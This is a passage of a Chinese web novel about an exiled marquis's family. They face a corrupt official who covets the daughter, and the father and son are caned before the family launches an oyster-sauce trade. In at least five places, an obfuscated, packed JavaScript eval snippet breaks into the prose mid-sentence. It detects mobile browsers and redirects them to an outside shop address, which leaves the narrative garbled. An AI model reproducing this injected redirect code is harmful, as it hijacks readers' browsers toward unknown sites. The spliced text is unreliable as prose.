屋子里,靳雪儿能清楚的听到院子里的动静,她的指甲掐进肉里都恍若未觉的。 “让他们出来吧。” 胡大力开口,享受着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262364|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这种命令式的语气。 曾经的忠勇侯,就像是狗一样听话呢。 “……” 院子里一片寂静,胡大力的心思,大家都明显着呢。 突然,靳砚之气呼呼的站了起来,道:“大人,我们都是男人,这女眷出来也不方便,还是要避嫌的。” 靳砚之的拳头紧紧的攥着。 胡大力看着他突然生气,明白了,靳雪儿是他亲妹妹? “靳砚之,别生气嘛,我请你吃肉。” 胡大力夹了一块大肥肉,就放到了靳砚之的碗里,道:“你们在这里的日子不好过吧?只要你们愿意,我可以帮你们啊!” “靳义,你说是吧?” 胡大力抬眸,道:“这房子这么破旧,我可以让人给你们翻盖房子,还有天这么冷,你们穿的这么单薄,也不太好,是吧?” “这菜,连肉都没有,那也不行的,对吧?” 这是直接开始明牌了。 “我不愿意。” 靳雪儿的话还没说出来,就被林惠兰捂住了嘴。 “老爷他不会卖女求荣。” 柳素仪扫了她们一眼,扫到林惠兰眼中的心动时,她的眼底的鄙夷一闪而过。 “对。” 程七七也赞同的点头,忠勇侯铁骨铮铮,绝不是会卖女求荣的人。 “我们现在能活下来,就挺好的。” 忠勇侯的话,直接拒绝了胡大人。 “对,吃酸菜粥也挺好。” 靳砚之挺直了脊背,有亲爹撑腰,他更有底气了,道:“至少,我们吃的不亏心。” “呵呵。” 胡大力放下了筷子,看着忠勇侯父子道:“你们这是敬酒不吃,吃罚酒?” “我,就看上你女儿了。” 胡大力冷笑一声道:“别忘记了,你们现在是犯人,今天晚上,见不到你女儿,你们……” “呸,你休想!” 忠勇侯听着他连掩饰都不掩饰的话,双目赤红的看着他:“别以为你当了个狗屁小官,就可以无法无天,为所欲为了,信不信,老子杀了你!” 忠勇侯的话落,身形极为灵敏的冲上前,双手掐住胡大力的脖子,咬牙道:“大不了,我再判个**!” 第96章 三十棍还是少了 ‘唔~’ 胡大力的脖子被死死的掐住,他憋的脸都青紫,气都喘不上,一股冰冷的窒息感,让他有一种错觉,仿佛下一刻,就会死掉! “放开大人!” 虎子冲上前,被靳砚之一把扑了过去道:“爹,我也不怕死!” 要是为了好日子,卖亲妹妹,那才丢人呢! 他,难道要死在这里? 胡大力的脑子都有些晕乎了。 “别打我女儿的主意,否则,大不了一块死!” 忠勇侯说着,松开手,往后退了一步,看着胡大力,目光像是能**。 “咳。” 终于能喘气的胡大力,呛的脸都红了,他捂着脖子,一抬头,看着忠勇侯那不怕死的样子,那眼神,似乎真的要将他杀了! “你,你们……” 胡大力指着靳义,半晌都说不出话来,这可是征战沙场半辈子的忠勇侯,杀敌无数…… 那冰冷的杀气,让胡大力反应了过来,他们是流放的犯人,但,真要不怕死,反抗起来……那,死的绝对是他。 胡大力浑身一个激灵,气的狠了,想着旁边看到这一幕的庄里正,他咬牙道:“里正,这些犯人不服管教,需要好好教训!” “大人,我,我就是一个里正。” 庄里正一脸为难的说:“这些事,都是由管训场的赵黑干的!” “……” 眼看着火引到他身上了,赵黑气的脸都黑了,但还是挺直了脊背,道:“大人放心,明天我一定狠狠的罚他们,让他们干最苦最累的活!” “明天?” 胡大力脸色一沉。 “今天,现在,立刻。” 赵黑立刻改口,看着忠勇侯父子道:“你,你们今天去山上砍樟树,干不完活,今天不许睡觉!” “是。” 忠勇侯低头,仿佛又重新回到了那个落魄的犯人。 “慢着!” 胡大力听着这话,一点都不满意,他感受着刚刚被掐脖子,差点小命都没了的事,这要是不惩罚,那他还有什么面子? “赵黑,你们管训场,管教这些犯人,也太仁和了吧?” “他们可是犯人!是罪人!” 胡大力的声音激动,盯着忠勇侯的目光,恨不得将他生吞活剥了:“他都敢对我动手,这就是不服管教,必须打三十大板!” “哦,不,三十棍!” 胡大力想起二哥胡大勇常说的话,挨揍了,就得死死的揍回去,揍到人家怕了才行! “这……” 赵黑一脸为难。 “怎么,不愿意?” 胡大力不经意的提了一句,道:“我奉首辅大人人之命,特来看看这些流放的犯人,有没有好好改造。” 首辅、崔大人…… 这些可都是他们连听都没听过的大官,赵黑浑身一个激灵,看着胡大力那冰冷的眼神,瞬间就清醒了,他道:“是,我现在就教训!” 赵黑从旁边拿了一根笔直的棍子,直接道:“靳义,靳砚之,你们两个对大人不敬,就该受到教训!” ‘啪……’ 一棍一棍打在忠勇侯和靳砚之父子两个人的身子,靳家旁边的男丁看着这一幕,瞳孔微缩,眼看着被打的地方,都瘆出血来了! 屋子里,女眷看着这一幕,下意识的捂住了嘴。 柳素仪眼眶含泪的看着忠勇侯,今天的靳义,仿佛又让她看到了二十年前的靳义,那是京都多年来下的最大的一场雪! 京都的炭,一度卖上了天价。 当时还是侯府世子的靳义,为了百姓能够烧上平价的炭火,愣是勇敢的站了出来,和那些满脑子只想赚钱的官员来说,他很傻! 满腔赤诚之心,只为让寻常老百姓,能够烧得起炭,不被冻死。 她去施粥的时候,亲眼见到靳义将侯府的旧棉袄、粮食、炭火,全部都分发给无家可归的百姓。 柳父觉得像靳义这般,早晚要将京都的权贵得罪一个干净,柳素仪看上了靳义,毅然的嫁了过去…… “爹爹,哥。” 靳雪儿死死的咬住唇,都出血了,也没在乎。 她,从没想过,爹爹会这么护着她。 还有平日里只会吃喝玩乐的哥哥,这个时候,也这么护着她。 林惠兰的唇动了动:“……”忠勇侯护着女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262365|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿,也就是护着她吧? 程七七看着这一幕,也很是震撼。 一人三十棍打完,赵黑看着他们屁股后面全部都是血,也忍不住移开了目光。 “你等我们**,到时候小爷要你看看!” 豆大的汗珠从他的额头滑落,靳砚之却依旧伸手说着。 “啪。” 胡大力一巴掌甩了过去,直接把靳砚之打到地上了,胡大力一脚踩下去:“你也就剩下这张嘴硬了!” “赵黑,明天记得让他们狠狠的干活!” 胡大力转身就走,坐上马车,他盯着那破旧的蚝壳茅草房子,眼眸阴郁,到底是没敢再打靳雪儿的主意。 胡大力抬手,摸了摸他被掐的脖子,刚刚差点被掐断的感觉,还心有余悸呢! 靳义这个疯子! 胡大力恨得牙痒痒,这三十棍,还是少了! 胡大力他们离开之后,赵黑和庄里正两个人对视了一眼,也没敢再留下来,连忙走了! “爹,我演的还好吧?” 靳砚之脸色苍白的看向忠勇侯,一副求夸赞,求表扬的模样。 “不愧是我靳义的儿子!” 忠勇侯毫不吝啬的夸赞着。 “爹,你还是第一次夸我呢。” 靳砚之咧嘴笑着,露出一口大白牙,下一刻,直接晕了过去。 “砚之。” 忠勇侯焦急的从凳子上爬了下来,摸到他脉搏时,才松了一口气。 “爹,哥哥。” 靳雪儿泪流满面的跑了出来。 靳家人七手八脚的将他们父子两个抬回了房,上完了药之后,忠勇侯才将靳家人全部都**到大厅之中。 “这个姓胡的,肯定是崔烈的人,我们表现的越苦,越可怜,他们才会越不在意我们。” 忠勇侯一字一顿道:“接下来几天,你们都要好好表现。” 靳家人心中一个咯噔,便知道接下来的几天,他们肯定要过上一些苦日子。 待大家都散去之后,忠勇侯看着程七七和靳雪儿道:“你们不管去哪,都不要单独走。” 胡大力难保贼心不死。 第97章 捂我嘴是什么意思? “爹,我除了干活,哪里也不去了!” 靳雪儿吓的小脸煞白煞白的,咬破的唇,更是殷红如血,小鹿般的眼睛,受到惊吓后,有些惊慌失措的。 “我也不会单独走。” 程七七可不会傻傻的觉得胡大力今天被忠勇侯吓怕了,万一真碰上事,那哭都没地方去。 “爹,那,酸菜粥的生意怎么办?” 靳砚之醒来之后,倒是生龙活虎的,以前在侯府的时候,没少挨打。 “重山不是留了人?让他们去卖。” 忠勇侯说着,道:“这些日子,千万要小心,还有,跟村里人说一声,要是碰上阿贵嫂,千万不要来这里批发酸菜。” 阿贵嫂的酸菜,在安南州卖的还不错,每回来拿酸菜的时候,高兴的合不拢嘴! “行,那我早起熬粥?” 靳砚之蹙起了眉头,想:“我们现在住的地方,还是不方便,以后,像胡大力这样的人,还不知道有多少。” “爹,今天这样,姓崔的,能放过我们吗?” 靳砚之气的咬牙切齿的道:“我们都被流放了,他还要赶尽杀绝,这是想让我们**才甘心吗?” 靳砚之一激动,屁股一动,就疼的倒吸了一口气。 “不对,流放路上,就派**了,他们……早就想让我们死呢。” 靳砚之疼的五官都乱飞了,他道:“爹,那我们现在这样,能行吗?要不,明天我跟那狗官打一架?” “芝麻大点小官,不就是姓崔的一条狗。” 靳砚之撸起袖子,恨不得打一架。 “别,再演就过了!” 忠勇侯看他这模样,连忙开口道:“今天这样就很好,我们成了流放的犯人,会受欺负,但,真欺到头上了,也能拼着同归于尽!” 忠勇侯又说了很多,比如崔烈的性子多疑,他们要是一直忍着受欺负,不知道反抗,肯定会怀疑,他们是不是暗中想要搞事情! 但是他们太过强势,在流放地日子过的太好,那就更说明有问题! 现在这样,刚刚好。 程七七回到房间,想着今天的惊心动魄的,也是惊魂未定。 最近酸菜粥挣钱了,糖坊这边也顺利拿到大单,眼看着也要挣钱了,谁知道,京都来的胡大力,芝麻大点的小官,摆着大架子! 此时,程七七才更加深刻的记住了,他们现在的身份是流放的犯人,而不是普通的老百姓! 程七七低头,安安睡的香甜跟小猪崽似的,她的眼眸微沉:她做的是对的,拉着全村人一起挣钱。 要不是他们跟村里人关系处得好,胡大力来了,她们能知道吗? 要是让胡大力知道,他们在流放地的日子过的好,还做了生意,只怕这生意还没起来,就得夭折了! …… “小娘,你,今天捂着我的嘴是什么意思?” 靳雪儿回到房间,坐在床上,抱着被子,白日里干活的辛苦,她全部都不记得了,只剩下今天下午时的恐惧! 胡大力那猥琐恶心的眼神,还有胡大力暗示让爹和哥哥将她送给胡大力…… 那一幕幕,清晰的就像是刚刚发生一样。 靳雪儿的身子,都忍不住颤抖着,越想,靳雪儿的心情就越是慌,她眼看着就要及笄了,村里还没成亲的后生看她的眼神…… 有好几次,都是被庄海潮赶走的。 可,她说‘不愿意’的时候,亲娘居然捂着她的嘴! 先前没注意,现在回想起来,靳雪儿觉得不对劲。 “人家也没明说,你就说不愿意,我怕是你惹怒了大人。” 林惠兰摆了摆手,眼神闪躲着不敢看靳雪儿。 “是吗?” 靳雪儿的声音都透着几分哽咽,她看着林惠兰眼神闪躲的模样,追问道:“如果爹爹和哥哥不护着我,你是不是就……同意了?” “你这话说的,你是我亲女儿。” 林惠兰扬高的语调里,带着些许的心虚。 “雪儿啊,你可是我唯一的女儿啊,我还能不盼着你好?” 林惠兰挤到她身边坐着,轻拍着她的肩膀道:“那个狗官不是什么好东西,那就是一个火坑,娘肯定护着你的。” “雪儿,要不,你考虑考虑,嫁给村里的人?比如说,那个庄里正的儿子就不错。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262366|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 林惠兰岔开话题,似爱怜的抚着她的头发:“可怜我们雪儿生的这么漂亮,要是侯府没出事,你你就是嫁入皇家也使得的。” “小娘。” 靳雪儿听着这话,立刻蹙起了眉头,道:“小娘,你别乱说话了。” 皇家有年轻的吗? 当今皇上的年纪都可以当她爹了,后宫佳丽三千,美人无数。 几位皇子倒是年轻,但,年轻过头了,十岁都不到! “我要睡了。” 靳雪儿躺了下来,夜里,却是做了一晚上的恶梦。 “雪儿,你怎么还不起来?” 林惠兰早上的粥都做好了,发现靳雪儿还没起来呢,她数落的说:“你赶紧的起来,今天还要去干活呢!” 林惠兰几人昨天没有做多少绣活,趁着现在天亮了,赶紧做一点算一点。 许久,林惠兰抬头,看着屋子里一眼:“靳雪儿,你怎么这么懒……” “哎呦。” 林惠兰一进屋,这才发现,靳雪儿脸红的跟煮熟了一样,她着急的喊道:“老爷,老爷你快来看看雪儿吧!” “怎么回事?” 忠勇侯躺了一晚上,挨了棍子的屁股还疼的厉害呢,但也没耽误早上去捡柴回来。 “雪儿,烧昏过去了。” 林惠兰着急的喊着。 “我看看。” 靳老夫人走了进来,伸手探向靳雪儿的额头,吓的她立刻收回手:“这肯定半夜就烧迷糊了,你这个当娘的,难道不知道吗?” “来来来,把这个草药捣碎了,煎给雪儿吃。” 靳老夫人拿着药丢给了林惠兰,一脸嫌弃的说:“还杵着干嘛?赶紧去啊!” “哦,好。” 林惠兰拿着草药就走了,看着忠勇侯小声的说:“老爷,这自己找的草药,能行吗?” “林惠兰,雪儿是我亲孙女,我还能害她吗??” 靳老夫人年纪虽然大了,但,耳朵还没聋呢,听着林惠兰的话,气的脸都黑了,“也不知道是怎么当娘的,女儿发烧了,睡一块都不知道,你睡得比猪还死!” 第98章 温柔乡 被骂的林惠兰,心虚的去给靳雪儿煎药去了! 忠勇侯看着靳老夫人:“娘,你这药,没错吧?” “靳义,你以为你娘天天晒这些草药,干嘛的?” 靳老夫人一脚就踢了过去,没好气的瞪了他一眼! “嘶。” 因闪躲,而被碰到伤口的忠勇侯倒吸了一口气,道:“娘,我,我也没说你不会啊,我就是……” 怕亲娘老眼昏花了,弄错了。 “呵,你就是怕我老眼昏花,看错药了?” 靳老夫人就像是知道他想什么一样,没好气的睨了他一眼道:“要不是你娘我的药,你能长到这么大?” 忠勇侯:“……”得,亲娘说不过。 …… 潮生县,衙门。 “胡大人,只要犯人靳义他们在流放地正常干活,本官也无法干涉,更是不能私下用刑。” 县令苏大人摸着胡子,眼神之中,全是凛然正气! 胡大力看着苏大人那油盐不进的样子,这该如何能完成大人想办的事情呢? “苏大人,首辅大人……” 胡大力刚一开口,苏大人义正言辞的说道:“请胡大人转告崔大人,只要在我的管辖的地方,流放的犯人,都会过他应该过的日子。” “苏大人。” 胡大力拿出早已经准备好的银子递上前…… “胡大人这是想要贿赂本官?” 苏大人直接推了回去,拒绝道:“本官清正廉明,绝对不做这些事情。” “送客。” 苏大人站起身。 胡大力站在衙门口的时候,气的啐了一口水。 难怪这么多年,就只是一个县令,狗屁! 胡大力在心中骂骂咧咧的,坐回马车上,还生气呢! “大哥,苏大人这油盐不进的也是好事啊。” 虎子的眼睛滴溜一转,道:“苏大人不接银子,不整靳家人,也就不会帮靳家人了啊。” “他想当一个清官,肯定谁也不帮啊,这流放的日子清苦,靳家人日子肯定不好过。” 虎子看到胡大力的面容舒展开来,主动上前,替他捶着腿道:“等回了京都,你也好跟大人交代,对吧?” “虎子,之前怎么没发现,你脑子还挺聪明的!” 胡大力原本还生气苏县令油盐不进呢,听着虎子的话,瞬间豁然开朗了,这钱留着他自己用不香吗? 至于崔大人那里,只要苏县令不帮靳家人,那不就是帮他了? 反正天高皇帝远的,崔大人还能真问,他有没有贿赂县令了? “不错。” 胡大力心情不错的半躺在马车里,忙活了半天,这肚子里已经开始饿了,他道:“走,吃肉去。” “好咧。” 虎子笑的眼睛都眯了起来,吃肉的时候,虎子十分机伶的伺候胡大力,胡大力大方的把剩下的肉,都给了虎子。 虎子吃的满嘴流油,眼睛一转道:“大哥,靳家那小娘子……” “别提,晦气。” 胡大力瞬间变脸。 “大哥,一个犯人,还是个雏,也没什么意思,我打听过了,县里有一家怡红院,里面的头牌长的可美了,听说那滋味……很好。” 虎子立刻就转移了话题。 “啪。” 胡大力一巴掌拍到他的头上:“你尝过?还知道那人家滋味好不好?” “走,去看看靳家人!” 胡大力扯了扯腰带,吃的太饱,得去看看热闹! 管训场里。 忠勇侯等人上午没看到胡大力,便偷偷的歇了半上午。 等到远远的,听到村里的孩子说,来人了! 忠勇侯和靳砚之他们立刻就开始干活了。 “靳义,他对你们有仇,可能,还要吃点苦头!” 赵黑提醒着,靳家人带着他们大家挣钱,靳义带着他打猎,肉都比往年吃都多。 “赵大人放心,我们晓得的。” 忠勇侯很清楚,赵黑跟他说一声,也算是客气了,他道:“大人的好,我们都记着呢!” “好。” 赵黑眼有眸微闪,被流放之后,还能有些本事的,靳家是第一人! 被流放后,还有人特意千里迢迢来找茬的,靳家也是第一人! 或许,靳家还能东山再起? 这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262367|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念头在赵黑的脑海里一闪而过,下一刻,胡大力就来了,来不及多想,赵黑躬着腰过去了! 胡大力虽然是芝麻点的小官,但,毕竟是京都来的,得罪不得! “靳家人怎么样了?” 胡大力远远的看着忠勇侯等人依旧在扛樟树,看起来,比昨天还累惨的样子。 “大人放心,今天让他们多砍一倍的樟树,不到天黑,肯定是回不了家的!” “就连午饭,大人请看!” 赵黑说着,领着胡大力看了一眼他们的午饭,稀的能照出人影的粥,硬的跟石头一样的……颜色看起来放了好几天的馒头。 “不错,办得好,到时候我跟大人美言几句。” 胡大力张口就来。 “谢大人。” 赵黑笑的高兴,心底却想:他一个小小管训场的管事,美言有什么用? 有胡大力在,靳家人的日子不好过,忠勇侯和靳砚之父子两个最惨! 昨天挨了三十棍的父子两,还得扛树,腿肚子都打颤了! 胡大力看的十分满意,道:“靳二少爷,你现在要是回京都,谁也认不出来了,这黑的哪像从前那样细皮嫩肉的?” 胡大力毫不留情的嘲讽着,道:“忠勇侯……不,现在是罪民靳义,你不是常胜将军吗?怎么扛个树,这小腿就打抖呢!” “你怎么不来试试?” 靳砚之一副忍不住的模样,道:“天天晒太阳,能白得了吗?” 靳砚之那想生气又不敢嘀咕的话语,极大的了取悦了胡大力。 “砚之。” 忠勇侯开口。 靳砚之不敢说话了,咬着牙干活。 胡大力看他们不敢说什么,便继续嘲讽着,时不时的道:“赵黑让他们干活快一点。” 一下午,胡大力就像是一个监工,眼看着天快黑了,胡大力道:“让人好好盯着,不干完活,不许回去。” 胡大力留下了一个护卫盯着,带着虎子就去温柔乡了! 胡大力哼着小调,虽然这路远了一点,但,骂曾经的忠勇侯,这感觉,真爽! 至于靳家会不会东山再起? 想什么呢,有崔大人在,绝对不会让靳家人起来的! 第99章 这得放多少油? “可算走了!” 靳砚之往地上软软的一趴,整整三天,自从胡大力来了之后,他们的日子那叫一个苦啊! 第一天挨了三十棍,疼的差点没起得来床。 第二天,干到天黑都没能回家,肚子咕咕的都唱歌了! 第三天,这个天杀的胡大力,看他们不顺眼,变着法的折腾他们干苦活累活。 这几天他躺在床上的时候,屁股是疼的,手是抖的,腿是酸的。 “赵大人,庄大人,这些日子,谢谢你们了。” 忠勇侯感激的看着赵黑,还有庄里正,这几天要不是有村里人帮忙,只怕他们根本无法在胡大力眼皮子底下瞒天过海的! “靳义,我们都是一个村的人,以后,好好干!” 赵黑拍着靳义的肩膀,那个姓胡的,不就是京都的一条狗吗? 这些日子,吹的多厉害多厉害,说是在大人面前美言几句,但是呢? 吃的喝的,没少从他这里拿! 呵,和能给他挣钱,能带他打猎吃肉的靳家人相比,那肯定是帮靳家人啊! “对,好好干,村里人以后也会多注意着些,要是有眼生的人来了,你们就好好盯着点。” 庄里正附和的说着,靳家人对于他们村子里人来说,那就跟财神爷差不多的! 这一关,总算是过了。 靳家人都松了一口气,病了三天的靳雪儿直接躺床上起不来了。 “爹,村里人帮了我们这么大的忙,我做了一些蚝干酱,到时候你送些给大家吃。” 程七七在胡大力走了之后,立刻就将之前熬蚝油剩下的蚝肉,全部都留了下来,加了大蒜子、姜、辣椒末加油一起,直接做成了蚝干酱。 “这么多?” 忠勇侯看着那满满当当的蚝干酱,虽然还没吃,但这味闻着,就香的不行! “里正和赵大人,一家一大碗,其它的村民们,一人一勺。” 程七七分的明明白白的,要不是有村里人报信,他们靳家要是被抓到做轻松的活,甚至女眷在家里绣花,只怕没好果子吃! 还有胡大力折腾靳家人,要不是赵黑还有里正暗中关照,只怕又要去掉半条命! “以后我们要跟村里人绑的更紧才行,这些蚝干酱,也正好让大家尝尝,能不能卖钱。” 程七七在见识到胡大力之后,满脑子都在想的是,应该要和村里人,继续紧紧的绑在一起! 带领着全村人都挣到钱了,以后,再碰上胡大力这样的人,大家都会护着他们了! “嫂子,这个也能卖钱?” 靳砚之一听能卖钱,眼睛都亮了,眼巴巴的看着程七七,盯着亲爹手里的蚝干酱,咽了咽口水道:“爹,要不,让我先尝尝?” “啪。” 忠勇侯一巴掌拍了过去,直接瞪了靳砚之一眼:“滚一边去。” “爹,我要是不尝尝,那等会,怎么跟人家夸,这蚝干酱好吃呢?” 靳砚之非但没滚,反而是凑的更近了,他一脸认真的问:“嫂子,你说的对吧?” 和在侯府时的花孔雀,手不能提,肩不能扛的小白脸相比,现在的靳砚之,麦色的肌肤,活干的多了,倒多了几分男子气概。 只是…… 程七七往后退了几步,指了指厨房道:“碗里还有蚝干酱,你可以试……”试。 她的话还没说完呢,靳砚之就像是一阵风一样跑进厨房。 “太香了!” “我能吃三碗,不,五碗饭!” 靳砚之一边吃就一边夸,这蚝干酱又咸又香还带着些些的辣味,他想吃米饭了。 “你嫂子做的,肯定好吃。” 忠勇侯直接将蚝干酱塞到他手里,道:“赶紧走。” 他们离开之后,靳老夫人端着一碗糖水鸡蛋递上前:“这几天累了吧?好好补补。” “奶奶。” 程七七看着碗里的红糖鸡蛋,虽然只有一个鸡蛋,但她还是很感动。 “快吃吧,安安也有。” 靳老夫人含笑看着她,道:“这些天,白天干活,晚上还要熬蚝油,多吃点。” “奶奶,这些你吃。” 程七七不好意思。 一旁的柳素仪搭话道:“长者赐,不敢辞,快吃吧。” 柳素仪也在做绣活,这耽误三天没绣花,得加紧干,不然,万一绣不完,就不好了。 庄里正家。 忠勇侯和靳砚之父子到的时候,赵黑也在呢。 忠勇侯立刻将蚝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17262368|198054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干酱拿了出来,庄里正和赵黑家,一人满满一大碗,剩下的,就是每家每户,都只有一勺了! “这得放多少油啊!” 庄里正媳妇田氏看着这被油浸着的蚝干酱,瞪的眼珠子都圆了。 要不说是京都来的,这油当水一样用! “我嫂子说了,这蚝干酱,就是用熬蚝油剩下的蚝肉做的,先做一些试试,要是大家觉得成,就拿去卖!” 靳砚之一脸骄傲的说着。 “卖钱?” 一听卖钱,庄里正一家子,还有赵黑等人,齐刷刷的眼睛亮了。 京都。 半个月后。 “大人,靳家人在岭南的日子,过的那叫一个惨啊!” “靳义还说是侯爷呢,在岭南扛木头,这么粗!” “还有靳砚之,以前细皮嫩肉跟小白脸一样,现在,那黑的跟木炭一样!” “对了,我让人罚他们三十棍的时候,他们可是屁都不敢放一个!” 胡大力回到京都,立刻就跟崔大人汇报了,他绘声绘色的说着,将靳家人描写的那叫一个惨! “罚?” 崔烈的眼睛半眯着。 唾沫横飞的胡大力瞬间就噤若寒蝉一般,一声不吭的,他一脸心虚的说:“大,大人……” 胡大力的眼珠子转的飞快,他,做错什么了吗? “大力,大人不是跟你说,要悄悄的去看吗?你还光明正大的罚?” 胡大勇一脚就踢了过去,十分有眼色的问:“靳义被你打了三十棍?他就不反抗?” “啊……” 胡大力一听这话,心更虚了,但他面上却是半点不显,他道:“大人,我当然是让管事的人罚的,三十棍,他没反抗的,但,但……” “后来,我瞧着他女儿生的漂亮,我……” 胡大力半真半假的说着:“谁知道,这靳义就像是疯了一样,差点把我掐**!” 他大摇大摆的去折磨靳家人,肯定不敢说的。 “你是不是傻!” 胡大军听着这话,一巴掌朝着他的脑袋上呼了过去,他给弟弟找了这么好的差使,要是办砸了,打不死他! 听着他们兄弟的话,崔烈若有所思。 第100章 我知道你的秘密 “七七,好消息!” 庄里正媳妇田氏一见着程七七,立刻就迎了上前,激动的拉着程七七的手道:“蚝干酱去县里卖的很好!” “真没想到呢,这没人要的海蛎子,熬了蚝油就挣钱了,这煮过的蚝干,还能做蚝干酱,你是不知道,卖到铺子里,大家都抢着要呢!” 田氏激动的看着程七七,两眼冒光的,这可是财神爷呢! “田婶子,那正好,趁着这段时间,大家赶紧把海蛎子都做了,等到季节过去了,就没了。” 程七七看着田氏的笑容,那是一点都不意外。 这半个月,蚝油都熬了三百来斤,五百斤鲜海蛎子,熬出三四十斤蚝油,熟的蚝肉,能出八十来斤。 因此,这半个月,剩下的蚝肉做成的蚝干酱,加了辣椒,蒜末,近千斤的蚝干酱,光买坛子,都买了好几个! 虽然蚝肉不要钱,但,辣椒和蒜末还有油,那都是要钱的! 村里人也觉得好吃,可没卖出钱去,大家都担心。 如今,县里就卖了好几批,阿贵嫂又批发了一大缸子,村里人立刻就展露出笑颜了! 又是一门赚钱的好生意。 忙忙碌碌的,时间进入到了二月,海蛎子是没有了,甘蔗也是人多力量大,糖坊早早的就进入到半歇工的状态了。 程七七带着女儿去海边捡完贝壳,路过码头的时候,问:“那些鱼,都不要吗?” “嫂子,一文钱一斤的鱼,都没人要,这天气越来越暖和了,卖不掉,臭了就都丢了。” 靳砚之飞快的回答着,每天去卖酸菜鱼粥,接触的人,那都是龙蛇混杂的,关于这些事情,他也是知道的。 “臭掉也太可惜了,如果做成鱼丸,是不是也能卖?” 程七七若有所思的说着。 “鱼丸好吃吗?也能卖钱?” 靳砚之一听着卖钱的事情,那就是双眼放光,两眼亮晶晶的。 “好吃啊。” 程七七想了想道:“你去买些杂鱼回来,晚上试试!” “行。” 靳砚之应声,立刻就去买杂鱼了。 回来的时候,买了两大筐的杂鱼,鱼还没上板车呢,那腥味就扑面而来了。 “这……” 还怎么坐? 程七七便想着走回去了。 “嫂子,庄海潮说,也要回去,可以帮我们带杂鱼。” 靳砚之睨了一旁的庄海潮一眼,之前因为靳雪儿的事情,跟庄海潮打了一架! 后来,胡大力来的时候,庄海潮还偷偷帮了他干活。 前两天他在县里卖酸菜粥,庄海潮卖白甘水,他碰着小混混了,于是,两个人联手将小混混打了一架! 这不打不相熟,一来二去的,靳砚之也混熟了,庄海潮的想法,靳砚之也明白一二,但,想当他妹夫,还得好好干! “行。” 程七七带着靳岁安坐在板车上。 “嫂子。” 庄海潮一开口,靳砚之立刻道:“我嫂子什么时候成你嫂子了?你别乱喊。” 程七七看着他们两个人不对付,笑了笑,什么也没问。 “程嫂子。” 庄海潮改口,将他买的糖葫芦递上前道:“这是我给安安买的。” “我侄女,用不着你买。” 靳砚之从兜里掏了两文钱给庄海潮,然后拿着糖葫芦就给靳岁安了:“安安,叔叔给你买的糖葫芦,这是叔叔给你买的糖。” 靳砚之又从怀里拿出一包糖,道:“这是我从县里买的枣糕,本来要回家再给安安的,现在给吧!” 靳岁安看着递上前的东西,侧目看向程七七。 “叔叔的心意,就收下吧。” 程七七开口,靳砚之也挣了不少钱,当叔叔的,买些零嘴给侄女吃,也正常。 “谢谢叔叔。” 靳岁安拿到了糖葫芦,开心的不得了。 庄海潮捏着手里的两文钱,盯着靳砚之的目光眨也不眨的,一路回到了家,庄海潮帮忙扛着两筐杂鱼下来,主动的问:“程嫂子,要帮忙吗?” 程七七拎着包袱,牵着靳岁安的手刚要进屋,听着庄海潮的话,眼底透着疑惑:还要留下来帮忙? 无事献殷勤。 “不必了。” 程七七冷着脸拒绝,她现在的身份是一个寡妇。 “砚之,这么多鱼,我留下来帮帮忙也是好的。” 庄 